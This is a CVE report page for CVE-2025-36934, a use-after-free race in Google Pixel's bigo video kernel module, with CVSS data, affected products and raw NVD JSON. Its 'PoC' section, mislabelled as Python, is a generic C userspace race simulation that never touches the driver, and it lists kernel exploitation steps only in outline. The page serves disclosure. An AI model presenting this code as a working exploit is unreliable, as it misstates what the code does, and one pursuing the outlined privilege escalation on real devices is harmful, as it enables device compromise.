Security Vulnerability Report
中文
CVE-2025-36934 CVSS 7.4 HIGH

CVE-2025-36934

Published: 2025-12-11 20:15:58
Last Modified: 2026-01-15 22:16:10

Description

In bigo_worker_thread of private/google-modules/video/gchips/bigo.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - VULNERABLE
Google Pixel 设备 (Android版本受限于2025-12-01安全补丁之前)
Android kernel module: bigo.ko (private/google-modules/video/gchips/bigo.c)
受影响固件版本: Android Security Bulletin 2025-12-01 之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-36934 PoC Concept (Pseudocode) // This is a conceptual PoC demonstrating the race condition trigger // Actual exploitation requires kernel-level access #include <pthread.h> #include <stdint.h> // Simulated bigo_worker_thread structure typedef struct { void* shared_object; int thread_id; volatile int state; } bigo_worker_context_t; // Global flag to control race condition timing volatile int g_race_trigger = 0; void* victim_thread(void* arg) { bigo_worker_context_t* ctx = (bigo_worker_context_t*)arg; // Thread 1: Access shared object while (!g_race_trigger) {} // Use after free - object may have been freed by another thread if (ctx->shared_object != NULL) { // Access freed memory uint64_t* ptr = (uint64_t*)ctx->shared_object; *ptr = 0x4141414141414141; // Write primitive } return NULL; } void* attacker_thread(void* arg) { bigo_worker_context_t* ctx = (bigo_worker_context_t*)arg; // Trigger race condition g_race_trigger = 1; // Free the object while victim thread is using it if (ctx->shared_object != NULL) { free(ctx->shared_object); // UAF trigger ctx->shared_object = NULL; } return NULL; } int trigger_cve_2025_36934() { bigo_worker_context_t ctx; pthread_t t1, t2; // Initialize shared object ctx.shared_object = malloc(64); ctx.state = 0; // Create threads to trigger race condition pthread_create(&t1, NULL, victim_thread, &ctx); pthread_create(&t2, NULL, attacker_thread, &ctx); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; } /* * Note: This is a simplified conceptual PoC. * Real exploitation requires: * 1. Kernel module access (bigo.ko) * 2. Precise timing control via system calls * 3. Heap spraying techniques for object placement * 4. Kernel ROP chain for privilege escalation */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36934", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:57.913", "lastModified": "2026-01-15T22:16:10.373", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In bigo_worker_thread of private/google-modules/video/gchips/bigo.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://project-zero.issues.chromium.org/issues/426567975", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}